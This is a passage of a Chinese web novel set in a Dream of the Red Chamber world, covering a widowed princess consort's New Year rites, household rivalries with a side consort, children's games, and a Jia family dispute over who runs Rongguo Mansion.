如今平王这一脉人丁稀少,徒嘉泽生病,末儿L还是个才开始学走路的孩子,两个女孩子也没资格过来,因此最终就是顾晓领着徒嘉钰在长史的操持下走流程。 顾晓在敬香的时候,抬眼看了看上头画得颇为英伟的画像和神主牌,心中却是感慨,徒宏远当年也没想过,自己死得那么草率吧,最后竟是不怎么喜欢的嫡妻嫡子得了最大的好处,想来他若是真的死后有灵,只怕都要在下头跺脚大骂了。 走完了所有流程,出了祠堂的时候,一直一板一眼的徒嘉钰都忍不住松了口气。 顾晓也没有打趣徒嘉钰,这毕竟是比较严肃的场合,明面上还是要敬畏一些的。 快要回到正院的时候,徒嘉钰忽然问道:“死就是再也不会出现了吗?” 顾晓沉吟一番,说道:“妈妈曾经听过一个说法,就是人的一生,会经历二次死亡。第一次,就是他的心 跳彻底停止,这就是生命的终结;第二次,就是他的丧礼结束的时候,意味着以后的社交往来中再也没有他的存在;第二次,就是被遗忘,当最后一个记得他的人也将他忘记,这才是真正的死去,世界上的一切都将与他毫无关系!你父王虽说是走了,但是,他的名字依旧记在我们心里,写在玉牒里,立在祠堂里,只要我们这一支传承不绝,他就不会真正死去。” 徒嘉钰听着若有所思,人死之后,活人的记忆都会被美化,何况,徒宏远虽说对原身一直在冷暴力,但是对徒嘉钰这个嫡长子其实还算过得去。他成婚多年,一度就两个儿L子,徒嘉泽还是个病秧子,他对会继承自己位置的嫡长子自然不会真的轻忽无视。 如今又赶上这样的场合,徒嘉钰就难免开始思念起父亲来。 顾晓不打算破坏徒宏远在徒嘉钰心中的形象,何必跟死人计较,徒嘉钰记得他的好,难道还能将人给想活过来不成。一个心中对父母存在爱的孩子,总比一个愤世嫉俗的孩子生活得更幸福。 孝期府里连春联年画都不能贴,更别说什么放鞭炮!因此祭祖之后,除了准备年夜饭的,大多数人就都闲了下来。顾晓也不拘着下头人,只叫在关键岗位上轮班,其他人便可以凑在一起踢毽子、跳百索,还有几个小丫头子凑在一起赶围棋。 徒嘉钰也从之前的低落中恢复过来,又缠着顾晓一起玩西游记的升官图,他这几天已经囫囵吞枣看了不少,这会儿L一边移动自己的棋子,一边还模仿着书里看到的内容,对着末儿L表演起来,逗得末儿L笑个不停,也跟着手舞足蹈。 待得金乌西沉,大家也玩得尽了兴,这才进入年夜饭环节。 这时,宫里同样结束了繁冗的仪式,开始赐宴。 这等宫宴说是体面,实际上一般人过去,那只能是受罪。品级比较高的,如宗室王爷、内阁大学士、六部尚书之流还能在大殿内捞个位置,其他人就只能在殿外廊下甚至是露天领宴。 不同地位的人,得到的席面也是不一样的。里头自然都是用炉子温得好好的热菜,端出来的时候还热气腾腾,到了外头就不一样了,御膳房哪里会准备这么多炉子,直接往灌了热水的食盒里头一放,就叫小太监们送过来。从御膳房走过来,路程可不短,等送到地方,热菜也变成温的了,再放到桌子上,还没等你下筷子,里头的油都凝结成块了。这种入口是个什么滋味,那就可想而知! 所以,你要是不够资格进殿,进宫之前就要先吃点东西垫吧垫吧,若是怕吃了东西要出恭,觉得不恭敬,那就喝个一小碗参汤再进去。荷包里头也放点肉干果脯什么的,觉得饿得受不了了,就偷偷摸摸吃一块。很多时候,宫宴上的席面怎么端上来的,最后还是怎么撤下去的,一般只会动几样凉菜,这些就算是冷了,吃着口感也不会差,再不济也不至于因为吃了冷的,回去闹肚子,弄得一个年都不安生。 今儿L个宫宴开始,圣上就开始不痛快。 他以前一直自傲与自己儿L女众多,前些年宫宴上 ,排在前头的宗室亲王几乎都是他儿L子。结果如今成年的儿L子就剩两个,还有个半瞎子,看起来格外可怜。 圣上勉强听过大家的贺词,想着死去的儿L子们,就开始生出了怜爱之心,当下便吩咐给各没能来的王府也都送一桌席面过去,下头自然又是一阵称颂之声。 席面送到平王府的时候,顾晓带着徒嘉钰和末儿L都已经吃得半饱了。而一桌赏赐给亲王府的席面,去掉小菜和甜点,那也还有八道菜。 顾晓领着徒嘉钰谢了恩,然后就干脆利索地吩咐道:“圣上隆恩,自当雨露均沾。王爷当年最爱吃烧鹿肉和清炖鲤鱼,先给祠堂那边送过去供上。四喜丸子和燕窝火腿鸡丝给侧太妃和二公子那边送去,攒盘肉和酒酿鸭子送风荷院给几个太姨娘和两个姑娘,其他干湿点心,都拿盘子分开来,西院和风荷院各送一些去,叫她们同沐圣恩!” 如此一番分派,留在桌子上的就剩下一道口蘑冬笋炒鸭丝和一道山药野鸡羹,还有四品小菜,努力一下,也就能吃得下了。 顾晓这边松了一口气,西院那边就开始头疼了。虽说西院和风荷院都是送了两盘菜,可是风荷院大人小孩加起来有8个,西院就他们母子两个,徒嘉泽还是个脆皮,又正在生病,也就是燕窝火腿鸡丝可以吃一点,也就是说,一大盘四喜丸子都得李氏一个人吃下去。 偏生李氏想着过了除夕,自己之后还得吃斋,点菜的时候就点了不少大荤,这会儿L已经吃得差不多了,而这四喜丸子,一个都有小孩拳头大,这都塞进去,只怕非撑得不行不可。 御赐的席面,哪怕不在圣上眼皮子底下,你最好都要吃得干干净净,别想着叫下面的奴婢分担,这是奴婢吃的吗?你是不是瞧不起圣上!顾晓肯分给她们,那是对她们的厚爱,便是圣上知道了,也只能称赞这个儿L媳妇举止大气。但是顾晓要是跟下面下人说,大家一起分了吃吧,那就是大不敬! 李氏也明白这个道理,心里郁闷得不行,却只能叫人将四喜丸子热了,然后强撑着一口一口塞下去,只觉得肉丸子都已经堵到了喉咙口,一张嘴都怕吐出来。徒嘉泽只吃了一小半的燕窝火腿鸡丝,剩下的依旧得李氏来解决。 李氏看了一眼,一想到还要再吃,就忍不住想吐,无奈之下,她只得说道:“今儿L不是要守岁嘛,等子时的时候,再给我热了吃吧!” 徒嘉泽可感受不到李氏这会儿L的难受,他今儿L个咳嗽好转了不少,人也精神起来,便吵着要去找徒嘉钰玩。 李氏有些恶意地说道:“既然你想要找你哥哥玩,那就过去吧,他现在正在正院呢!就怕你去了,人家不理你!” 徒嘉泽也听不懂李氏话音里的阴阳怪气,当下便叫奶娘抱自己过去。 奶娘有些着急,徒嘉泽现在病还没好,正院除了小王爷,还有个不满周岁的二公子呢,二公子吵着要过去,平白惹人嫌弃。她看向了李氏,希望她能拦着点。 李氏根本没意识到这一点,甚至她意识到了,却乐于看到正院 倒霉,因此没好气地说道:看我做什么?_[(,你们这些人,不就巴望着能巴结上那边吗?现在不去,还等到什么时候?” 奶娘就不明白了,李氏都到这份上了,怎地嘴还这么硬。奶娘只得低头哄徒嘉泽,结果小孩子很多时候根本就是生了一身反骨,你越是不叫他做的事情,他们越是要去做。因此,眼看着徒嘉泽就要哭嚎起来了,奶娘这回是撑不住了,之前何太医可是说了,这些天要让徒嘉泽保持平和,不能再大哭大闹,哭得厉害了,一个不好就要引起气疾。这除夕夜去请大夫,实在是不吉利,也只能先满足他再说。因此只得帮着徒嘉泽穿了衣裳斗篷,将他裹得严严实实,免得在外头受了风,又叫了两个小丫头在前头提灯笼,抱着徒嘉泽往正院而去。 “二公子的奶娘带着二公子往这边来了!”一个小丫头远远瞧见,立马跑进来传话。 顾晓一愣,她瞧了徒嘉泽一眼,便笑道:“来就来了呗,他小孩子家家的,一个人觉得无趣也是有的,自然是想要找哥哥一起玩!”顾晓虽说有着原身的记忆,但很多事情很难感同身受。徒嘉泽对他们母子又压根没有威胁,本身还是个不懂事的孩子,那么当做是邻居家的孩子,好好招待一番倒也没什么。 吴嬷嬷以为顾晓忘了徒嘉泽还在生病,便在一边给顾晓使眼色,顾晓当做没看见,先是对一边末儿L的奶娘说道:“末儿L也该休息了,你们先抱他到里间去吧!”虽说徒嘉泽得的不是什么流感,但是小孩子体弱,沾了病气可就不好了,所以还是先叫他先歇着去。 末儿L还有些不高兴,虽说的确已经快到平常睡觉的时间,但是这会儿L正玩得开心呢,哪里肯走。 顾晓装出一副打呵欠的模样,看着末儿L说道:“好末儿L,妈妈和哥哥也困了,再不睡,明天就没精神陪你玩了!” 徒嘉钰也跟着打了个呵欠:“末儿L乖乖去睡吧,明儿L个再一起玩!” 瞌睡是会传染的,末儿L本来也到了睡觉的点,这会儿L也忍不住了,当下老老实实被奶娘抱着去了西厢房。顾晓这才松了口气,对徒嘉钰解释道:“你跟你二弟年纪大了,多熬一会儿L没事,末儿L却是熬不住。与其等到你二弟来了再叫末儿L去睡,不如先让他睡下,免得你二弟多心!” 徒嘉钰也没多想,他炸了眨眼睛:“那妈妈,今天我也要跟着守岁吗?” “你们小孩子家家的,哪里熬得住,再玩个一会儿L,就老老实实去睡觉吧!硬熬着伤了神,可不是好玩的!一会儿L跟你二弟玩也是一样,他还病着呢,可不能累着!”顾晓提醒道。 徒嘉钰在末儿L身上早就养出了哥哥的责任感,这会儿L赶紧点了点头,说道:“知道了,我再跟二弟玩一会儿L就去睡!” 不多久,徒嘉泽的奶娘就抱着他过来了,看起来很是尴尬,她带着徒嘉泽给顾晓和徒嘉钰行礼,又解释道:“二公子闹得厉害,我们实在是劝不住,又怕他……” 顾晓笑道:“咱们府上人丁单薄,他们小兄弟几个,愿意亲 亲热热的,我是巴不得呢!以前是孩子年纪小,身体也不好,如今看着好多了,有空多来玩便是!” 奶娘悄悄看了一下顾晓的脸色,看不出半点勉强的样子,语气听起来也很真心实意,原本有些惴惴不安的心情也平复了下来。 徒嘉泽跟顾晓也不熟,他刚刚在奶娘的指点下给顾晓行了礼,这会儿L就忙不迭地说道:“娘娘,现在我可以跟哥哥一起玩了吗?” “当然可以啊!”顾晓笑吟吟说道,“不过今儿L个时间已经不早了,你们最多再玩半个时辰,就该回去睡觉了,睡得足,才能长得高,知道吗?” 徒嘉泽也没什么时间观念,对半个时辰是多长时间也搞不清楚,只知道自己可以跟徒嘉钰一起玩了,当下就跑到徒嘉钰面前:“哥哥,我们一起玩琉璃球吧!” 徒嘉泽因为身体的缘故,一直以来没做过什么剧烈的运动,所以他喜欢的玩具都是那种在室内就能玩的那种,琉璃球就是这样,可以在桌子上甚至是床上滚着玩。 徒嘉钰笑道:“琉璃球有什么意思,我最近在玩升官图呢,还是西游记版的,你听过西游记没有?” 徒嘉泽茫然地摇了摇头,徒嘉钰便热情地跟他说起了孙悟空的故事:“我也还没看完,等你上了学,认识字了,我就送你一套,你可以自己看!” 徒嘉泽懵懂地点点头,听徒嘉钰说了规则,然后老老实实拿了猪八戒的棋子,跟徒嘉钰一起玩了起来。 李氏气头上来,挤兑了徒嘉泽的奶娘一番,本以为徒嘉泽还病着,奶娘不会带着孩子去正院,哪知道奶娘居然抱着徒嘉泽走了,她顿时就傻眼了,只得叫人盯着正院那边,想象着顾晓将人赶出去,然后她就可以好好嘲笑奶娘一番,再次告诉他们,正院与西院势不两立的现实。 哪知道,几个人进了正院,就再也没出来,李氏只等得心急如焚,开始怀疑顾晓想要将徒嘉泽抱到正院抚养,她越想越坐不住,当下也跟着起身,准备去正院问个究竟。! 微云烟波向你推荐他的其他作品: 希望你也喜欢 第 44 章 李氏大概是有些被迫害妄想症,这源于她当年自个就不是什么安分的人。当初她不知道多少次暗自诅咒原身母子死于非命,好将位置给自己腾出来。 她现在就是后悔,当初听到徒宏远死讯的时候,正院那边还没出月子,徒嘉钰又是个小孩子,她当时怎么就只顾着伤心,没想到将他们母子三人一并干掉呢?那样,哪怕自家儿子只能继承一个郡王的爵位,也比如今这个情况好啊! 李氏贫瘠的脑子根本没想到她要是真的将此事付与实施,最终被发现会是个什么下场,她只觉自己命运不济,并且觉得顾晓同样对他们母子不怀好意。这会儿徒嘉泽在正院,说不定顾晓就会给他吃点什么慢性毒药,让自己彻底失去希望。 李氏带着人急匆匆到了正院门口,守门的婆子还当她是来接徒嘉泽的,笑道:“娘娘之前就说了,等小王爷和一公子玩好了,就叫人送二公子回去呢!” 李氏勉强挤出一个笑来,说道:“一公子出来时间长了,我有点不放心!” 另一个婆子笑道:“在娘娘这里,还有什么不放心的,娘娘养了小王爷和三公子两个孩子,哪个不是好好的。我听她们说,小王爷和一公子玩得好着呢!” 李氏硬着头皮说道:“一公子这病还没好,这天又冷得很,我怕他回去得晚了,又被风吹病了!” 几个婆子脸色立马就变了,你这什么意思啊,怀疑我们娘娘坑害你儿子?那你让他过来干什么! 一个婆子没好气地站起身来,说道:“既然侧太妃娘娘不放心,那奴婢这就进去禀报一声,侧太妃娘娘不嫌弃的话,先在我们这里坐一会儿吧!” 李氏只得应了下来,硬着头皮找了个凳子坐下,心里却郁闷得不行,自己之前来正院,在正厅坐着都觉得不舒服,如今都沦落到坐在门房里头了! 不多久,传话的婆子就回来了,皮笑肉不笑地看着李氏:“侧太妃娘娘,娘娘让您进去呢!” 李氏如蒙大赦,几乎是从凳子上弹了起来,快步往外走去。那婆子也是嘴坏:“侧太妃娘娘,有空您再来啊!” 李氏气得要死,走得更快了,背影看着还有些狼狈。 顾晓也没想到,这才一刻钟不到,李氏就赶过来了。见李氏进来,顾晓便笑道:“妹妹果然是一片慈母心肠,这才一会儿见不到孩子,就忍不了了!两个孩子如今正玩着呢,妹妹不如坐一会儿吧!” 她眼神已经看到了李氏明显有些凸出的小腹,想起来她今天肯定是吃多了,便吩咐道:“给侧太妃沏一杯普洱来!” 其他人也注意到了这点,暗自偷笑,好在也不耽误她们干活,一会儿刚沏好的普洱就送过来了。 李氏之前饭吃得太过油腻,这会儿也觉得口干舌燥,道了谢之后便捧了茶慢慢喝着,喝了两口忽然发现,自己进门到现在都没说出自己的来意呢! 李氏放下手里的茶盏,犹豫了一下,还是说道:“这时候也不早了,妹妹也该带着 一公子回去了,今日劳烦姐姐,还请见谅!”她自觉说得很是低声下气,就等着顾晓答应下来,然后拉了孩子就走。 结果顾晓笑道:“反正今儿个要守夜,看孩子一块玩,人还精神些!何况这会儿戌时还未过半,叫孩子们多玩一会儿也不打紧,横竖明儿个也不用早起!” 见顾晓推脱,李氏愈发觉得她心内藏奸,这真要是让徒嘉泽玩野了心,以后还乐意待在西院吗? 只是顾晓的话也没什么问题,李氏只得说道:“泽儿这几日还病着呢,太医不是说了吗,不能劳累!” 李氏话说到这个份上,顾晓便也不再多留,一边徒嘉钰听得只觉扫兴,他有些不满地反驳道:“我们就是玩升官图而已,哪里就劳累了!” 徒嘉泽也意识到,亲妈过来是要带他回去的。这会儿玩得已经有些上瘾的他顿时不干了:“我不要回去,我要继续玩!”他忽然想起来,之前顾晓说的话,立马说道:“刚刚娘娘说可以玩半个时辰的!” 听他这么说,顾晓便看向了李氏:“妹妹你看,也就再玩一刻钟的时间,不如妹妹少坐片刻?” 李氏只觉如坐针毡,她气闷地看着徒嘉泽,怎么这小子才来了一次,就被收买了,再来几次,那真的是不敢想!她看了一下铺在桌面上的升官图,这个她又不是没玩过,有那么好玩吗?她看了半天,只发现这个与她之前见过的升官图长得有些不太一样,上面不是官职还有衙门的模样,画了一些山还有河流的图案,上面的线条也不是那种方方正正的格子,而是弯弯曲曲的线条,上头写着许多她不认识的字,近看还能看到一些有些奇怪地人像。 再听着徒嘉钰一边玩一边讲解,她终于听明白了,这说的是孙猴子的故事。李氏在家的时候,村里农忙过后,会请社戏,里头就有类似于《大闹天宫》、《三打白骨精》之类的戏目,她也看过一些。等进了王府,这等热闹的大戏看得就比较少了,多半是才子佳人的戏词。 实际上这些李氏压根不怎么听得懂,觉得根本不如在家看过的社戏好看,不过为了迎合徒宏远,还得装作很好看的样子,免得被人当做是土鳖。这会儿瞧见这升官图,就勾起了她曾经的回忆,一时间,她竟然也蠢蠢欲动起来。 李氏就这么一边喝茶,一边看着两个孩子在那里玩闹,自己也琢磨着回去做一个这个,有了这个,徒嘉泽总不至于还往正院跑了吧。茶水换了三次,才听顾晓说道:“半个时辰到了,泽儿跟你母妃回去吧,想要玩的话,明儿个再来!再硬撑着,小心走了困,回头起不来!” 徒嘉泽在李氏那里简直是个小霸王脾气,结果顾晓说了话,反而老实起来,他恋恋不舍地放下骰子和棋子,起身跟徒嘉钰道别:“大哥我明天再过来,接着现在继续玩!” 徒嘉钰也有些意犹未尽,嘴里也是说道:“好,我这就做好记号,明天一弟再来!” 李氏在一边问道:“姐姐,这升官图的样式妹妹却是从来不曾见过,不知是从哪里买的?” 顾晓解释道 :“是我要哄孩子玩,叫下头人画的,妹妹若是想要,不如跟府里匠人说一声,叫他们再画一幅出来!” 李氏听着点点头,又跟顾晓道谢,瞧着徒嘉泽依旧恋恋不舍,又有些来气,只得忍着叫奶娘重新给他穿上衣服,系上斗篷,这才跟顾晓和徒嘉钰道别。 徒嘉钰看着人出了门,也有些怏怏的,顾晓笑道:“你弟弟回去歇着了,你也去歇着吧!”徒嘉钰只得跟顾晓告退,今儿个是大日子,他这个名义上的一家之主却是不能继续住在顾晓这边的,得回前头去住。 “今儿侧太妃这么客气,倒是叫奴婢几个有些不敢相信了!”等着徒嘉钰也走了,春香一边过来收拾茶具,一边笑道。 吴嬷嬷催着几个丫头重新摆桌子,等着一会儿大家一起打叶子牌消磨时间,嘴里说道:“这大年节的,谁会口无遮拦呢,不怕折了来年的福气!” “依奴婢看来,还是侧太妃得了教训,知道跟娘娘作对,讨不着什么好,这才学乖了!”春燕最是快嘴快舌,忍不住说道。 “你这张嘴啊,什么时候给你戳烂了,什么话都敢说!”吴嬷嬷一听,立马板起脸,呵斥道。 春燕赶紧轻轻扇了自己嘴巴一下:“是奴婢胡说八道,以后可不敢了,嬷嬷可饶了我吧!” 吴嬷嬷没好气地说道:“行啦,以后就算心里想着,也不要说出来。如今是咱们娘娘宽仁,你要是在外头人那里也口无遮拦,丢了娘娘的脸面,别怪我不客气!” 春燕这回才正经起来,端端正正向着吴嬷嬷行了一礼:“谢嬷嬷教导,奴婢再也不敢了!” 顾晓也不拦着吴嬷嬷教导丫头,等着桌子铺好,叶子牌拿来,她笑道:“春雨,去把我那钱匣子拿过来,每人面前先放两吊钱,回头赢了算你们的,输了算我的!” “那可就要偏了娘娘的钱了!”几个丫头都笑了起来,“就怕这些钱长了腿,飞也要飞回娘娘匣子里头去呢!” 一番说笑之后,几个人各自落座,开始玩牌。 顾晓一开始还有些不熟悉规则,但是春雨、春香、春燕她们争着给她喂牌,顾晓再一看,春红就站在自己后头看牌呢,顿时知道怎么回事了!倒不是想要赢这点钱,但是谁不想要被人围着讨好啊,胜利的快感也叫顾晓停不下来,她一时间都有些上头了。 等着春雨面前最后一把钱都输了出去,也差不多子正了,春雨嚷道:“不玩了,不玩了,娘娘今日是得了财神爷眷顾,咱们几个可赢不了!” 顾晓笑道:“今儿赢钱高兴,这些钱你们拿去分了吧,就当给你们的压岁钱了!” “早知道娘娘这般大方,刚刚就多输点了,娘娘您那钱匣子里面还满当当的呢,也好叫咱们几个跟着发一笔横财!”春燕凑趣道。 “今儿不早了,等以后有空再来!”顾晓也有些意犹未尽,不过还是说道,“咱们府里如今毕竟还在守孝,这守岁就不必守到天明了,留着各房的灯烛不要熄了便是,等回头除了服,再好好乐呵!”她现在最关 注的是自己的身体,能不熬夜还是不要熬夜了。 吴嬷嬷也是说道:“娘娘说的是,娘娘身体还亏着呢,可不能熬着!娘娘你先去睡,奴婢在这边守着,定然不会叫屋里的灯烛有什么闪失!” 顾晓知道这也是吴嬷嬷疼自己的一片心意,因此也不多劝,春香她们又在炕桌上的攒盒里补充了糖果干果,笑道:“嬷嬷,还有我们陪着你呢,正好多吃一些点心果子,大年里头甜甜嘴!” 一觉醒来,便是大年初一。一大早,李氏这个侧太妃还有六个太姨娘就先后带着三个孩子过来等着给顾晓拜年,徒嘉钰过了年就虚七岁了,因此却是没有跟这些人在一起,反而先到了顾晓卧室外头等候。 “敬祝母妃正旦,愿母妃如意安康,福寿双全!”等着顾晓梳洗过从卧室出来,在椅子上坐下,徒嘉钰就上前给顾晓拜年。 顾晓笑道:“也祝钰儿新年胜旧年,百事均如意!”说着,又拿了一个葫芦形状的荷包给徒嘉钰,里头放着一些笔架、如意等形状的金锞子,这可不是压岁钱,压岁钱昨儿个就已经压到几个孩子枕头下面了,他们一早起来就能在枕头下面看到。 “走吧,也去见一见你几个庶母还有弟弟妹妹们!”顾晓带着徒嘉钰往正厅而去,见得两人从后面绕进来,原本坐在那里等候的众人都起身行礼。 接着便是拜年环节,先是几个孩子,从徒嘉泽开始,到两个姑娘,至于末儿,这会儿还没醒呢,自然不会叫他,之后才是李氏、赵氏等人。顾晓也都赏了荷包下去,里头放着的都是金锞子,无非数量不一样而已,算是给他们的贴补。 等着快要散的时候,顾晓才说道:“两个姑娘年纪也不小了,总不能一直大姑娘、一姑娘的叫,也该有个名字才好!虽说女儿家不好随着兄弟取名,不过,依我的意思,即便不用那个嘉字,也可用一个‘佳’字。佳,善也,正适合女孩子。以后大姑娘就叫佳婉,一姑娘就叫佳姝。” 两个女孩子的生母养母都是喜出望外,连忙拉着孩子又蹲身行礼:“多谢娘娘赐名!” 佳婉和佳姝还不知道自己被取了名有什么好处,只能跟着给顾晓行礼,神情还有些茫然,顾晓也不以为意,笑道:“佳婉、佳姝也愈发大了,回头府里也请个女夫子回来,以后出门跟堂姐妹们交际往来,才不会露怯!” 周氏、黄氏、陈氏三人又只能连声道谢,看得刘氏她们几个又是羡慕又是失落,她们也想要有个孩子,可惜是不能了! 顾晓也懈怠再跟一群不怎么熟悉的女人一起说话,因此只是又客气了几句,便叫她们自个回去了。 徒嘉泽没有跟着李氏回去,反倒是凑到徒嘉钰身边要跟他一块去玩。兄弟两个直接跑屋里玩去了。 顾晓看了一会儿,就觉得有些无趣,便出了屋门,在廊下看着院内的风景。见她神色有些恹恹,吴嬷嬷不由猜到:“娘娘可是想老爷夫人他们了?这正月里头不方便走动,不如等过了正月,悄悄给侯府那边下了帖子,请夫人来府里说话?” 顾晓其实是有点想念上辈子了,这辈子的确身份尊贵,锦衣玉食,但是却少了几分自在,别的不说,她上辈子虽说没机会来什么说走就走的旅行,但是周末假期的时候也能四处转转,再不济还能云旅行呢!可如今呢,穿越过来到现在,连王府大门长什么样都没见过,甚至连一门都没出过,这才算是明白什么叫做“大门不出一门不迈”,那不是形容,而是写实!王府虽说地方大,但是也不能一直就生活在这么点大地方吧!如今也只能是指望除了服,可以正常出门了。 不过当着吴嬷嬷的面却不能这么说,毕竟原身早就习惯了这样的生活,在侯府的时候,除了出门做客,就是待在后院里头,压根没有顾晓这种跟坐牢一样的感觉。因此,顾晓只得顺着吴嬷嬷的话头,说道:“是啊,上次见到母亲,都是很久之前的事情了,确实有些想念,也不知道家里…侯府如今如何了!” 出嫁女就是这么悲哀,出嫁之后,娘家都不能算是家了! 吴嬷嬷安慰道:“娘娘放心吧,老爷夫人何等样人,自然是家业兴盛!何况,就算一时有些不谐,不还有娘娘在嘛!” 顾晓的低落情绪并没有持续多久,很快就有人过来变着花样讨她欢心了。 守孝这种事情,实际上越往后是越宽松的。像是最严苛的时候,得三年结庐而居,不光是要茹素,连豆麦之类粗粝的食物都不能多吃,吃的东西只能说是勉强果腹罢了。没办法,那会儿也没科举,想要做官,就得举孝廉,自然得在孝字上头内卷。一十四孝里头许多泯灭人性的所谓孝行几乎都是那个时期冒出来的。 到了如今,就宽松得多了,热孝之后就没了太多忌讳,只要不明目张胆地违背礼法,那都是民不举官不究的事情。 像是王府里头,一家子孤儿寡母的,关起门来找点不出格的乐子,真没什么好讲究的。 年前才下过一场大雪,虽说各处道路上的雪都已经清理干净,但还有其他许多地方还堆着积雪。这回一帮丫头就找了府里的匠人,选了干净的积雪,堆成猫狗、狮子、小马等动物的形象。这些雪雕都做得精巧细致,最大的雪象也不过是半人高,很是玲珑可爱。 末儿这时候正好已经醒来了,刚吃过了早饭,原本闹着要去找徒嘉钰,这会儿隔着窗户看到外头姿态各异的雪白动物们,顿时就喜欢上了,恨不得立刻跑出来玩。 这天哪里放心让他出来,丫头们只得将雪雕搬到廊下,又开了窗,让他可以伸手摸一摸。末儿被冻了一下,立马缩回手去,但是很快又忍不住好奇,伸出手指在上头戳戳按按,也亏得匠人将雪雕做得结实,要不然他这么折腾,那只雪狮子脑袋都要变形了。 顾晓也来了兴致,叫人拿了蔬果铃铛之类的过来,用这些给雪雕做装饰。拿个龙眼核做眼睛,拿个栗子做鼻子,脖子上用丝带系上铃铛,风一吹,就能发出清脆的铃声。 瞧着顾晓喜欢,不多久,下头又有人送了许多小型冰雕过来,在院中和廊下摆开。 院子里这般热闹,徒嘉 钰和徒嘉泽也不想玩升官图了,只想一起玩冰块。 徒嘉钰也就罢了,体质一直很好,徒嘉泽病还没好呢!顾晓想了想,便吩咐下人做一些小型的冰雕,还拿了一些小巧的玩具摆设之类,在地上摆开,又弄了些竹子做的套圈过来,叫丫头陪他们玩套圈。 ?想看微云烟波写的《红楼太妃要躺平》第 44 章吗?请记住本站域名[( 下头的人还举一反三,选了几棵树,将冰雕做成小灯笼的模样,用丝线悬在树枝上,里头还点了一些小蜡烛头,一沙包丢过去,里头的蜡烛就可能会因此熄灭,看谁熄灭的蜡烛多。还有冰雕的投壶,冰削的捶丸……零零总总摆了大半个院子,倒是有了点过年期间逛大集的味道。 人一多,玩起来就热闹,顾晓自个也跟着一帮丫头玩起了捶丸,两个孩子更是满院子撒欢,笑声一下子传出老远。 “人多,玩起来热闹,去问一下佳婉和佳姝,她们要不要一起过来!”顾晓玩得都略微有些气喘,放下手里的球棍,想到早上见到的两个女孩,便吩咐道。 周氏黄氏陈氏都老实,知道顾晓懒得见她们,等闲也不带着孩子来正院。以前初一十五还要来正院请安,顾晓如今连这个都免了,只有年节的时候才叫她们来正院一趟。顾晓原本对那两个便宜女儿也没什么印象,早上见到的时候,发现是两个挺乖巧可爱的小女孩,还算是讨人喜欢。想想这年头女孩子最自在的就是在家里的十几年,能跟兄弟处好关系,将来出嫁了也有个依靠。 等除了服,徒嘉钰就要进弘文馆读书,两个女孩子不趁着这两年在府里跟他打好交道,以后在徒嘉钰那里,大概也就是一个叫做妹妹的单薄符号罢了。 在不影响自己的情况下,顾晓不介意付出一点善意,因此,在问过徒嘉钰和徒嘉泽之后,便叫人去风荷院请两个姑娘一起过来。! 第 45 章 半个正月,正院里都充满着欢声笑语。顾晓将自己所知道的各种娱乐活动还有这个年代的一些游戏结合起来,带着府里几个孩子还有正院一帮丫头,每日里玩得不亦乐乎。 大家却也都保持了一定的默契,一切只局限在正院,除了叫府里匠人制作相关的道具之外,半点消息也不流出二门,以免被人传出去。 到了正月十五的时候,府里虽说不能悬挂花灯,却是制作了大批的冰灯,做成各种小动物的造型,点缀在路边、树上、廊下,将正院妆点得如同水晶世界一般。 愉快的日子总是过得很快,过了正月十五,朝廷衙门也要开印,重新上班。王府里头,徒嘉钰也该收收心,准备上学了。 贾瑚这个年却过得不算愉快。 贾赦他们还是赶在除夕之前回来了,还来得及参加除夕这天的祭祖。但是祭祖之后,荣国府的气氛就变了。 之前贾史氏就已经将一切想好了,贾赦继承爵位,贾政继承爵产,换句通俗的话来说,贾赦这个董事长被架空了,荣国府做主的是贾政这个CEO。如此,两个儿子互相制衡,贾史氏就能稳坐钓鱼台,安安心心做她的老封君。 可是贾赦不干啊!贾赦虽说已经预料到,因为之前站队的失误,自己需要付出极大的代价,比如说将荣国府对外的一部分权力让渡给贾政,也就是贾政作为协理,掌管荣国府的主要事务。 哪知道贾史氏却想要变成贾赦得名,贾政得器的状态,也就是说,以后这府里,贾赦除了空有一个一等将军的爵位,是半点主也做不得!那他这个一等将军做得还有什么意思。 因此,贾赦年夜饭上就闹了一场,却被贾史氏骂得狗血淋头。按照贾史氏的说法,要不是他占了嫡长子这个名头,就凭他闯出来的祸端,还袭爵?不被流放就不错了!是贾代善用救驾之功换了贾赦的命乃至贾赦袭爵的权力,荣国府爵位从超品跌落,完全是贾赦的锅,再让他掌管实权,难不成再看他把荣国府带进沟里吗? 被贾史氏说成这样,贾赦差点当场就气得要吐血,结果贾史氏还不肯就此罢休,直接表示,以后她就跟着小儿子贾政过,让小儿子搬进荣禧堂,她一个老婆子,就在后头荣庆堂带孙女了! 这荣禧堂是荣国府的正堂,原本就是袭爵人才能住的,结果却叫贾政搬进去,那算什么呢? 贾赦还想要反抗那么一下,结果贾史氏立马嚷着要去告贾赦不孝,贾赦还能如何?只能继续忍气吞声。 事情闹成这样,大房可谓是一败涂地。贾赦又是个窝里横的,回来还要抱怨张氏,她一直留在府里,竟是没听到半点风声,以至于他被打了个措手不及。 张氏也很恼,以她的教养,做不出直接跟贾赦吵起来的事情,只能是自己憋了一肚子气,还得劝解贾赦一番,免得他发了左性,又闹出什么事端来。如今还在孝期,真要是被一房抓住什么把柄,贾赦这个爵位只怕也保不住。 贾赦如今有的也只剩下爵位 了,听得张氏这般说,愈发咬牙切齿:“你说的没错,他们就是故意的,恨不得我立刻闹将出来,回头才好将这爵位留给老一!嘿,都是一个娘肚子里爬出来的,我哪儿就比不上老一了!” 张氏叹道:“老爷你也仔细想想,一老爷素来是个端方的性子,府里上下,谁不说他人品端正,可是老爷你呢?” 贾赦一时有些无语,他有什么名声?纨绔圈子里头的扛把子?斗鸡走狗,好逸恶劳,似乎就没别的什么名声了! 意识到这一点之后,他也没有反思的意思。就像是许多笨鸟自个飞不动,喜欢生个蛋,让自家孩子帮着飞一样,贾赦也是坚决不为难自己的人,那只能是为难儿子。 小的那个才刚取了名,上了族谱,自然没法为难,那就只能盯着贾瑚。 贾赦倒也不算真的是不学无术,他无非是不通四书五经罢了,学过的各项杂学却也不少,如今挑剔起儿子来,更是一套一套的,根本没想到贾瑚才是个刚上学才几个月的孩子。 贾瑚原本盼着自家老爹回来,结果就在这短短半个月内,将曾经对贾赦的滤镜打成了碎片,等到知道要去王府继续读书的时候,恨不得欢呼雀跃起来。 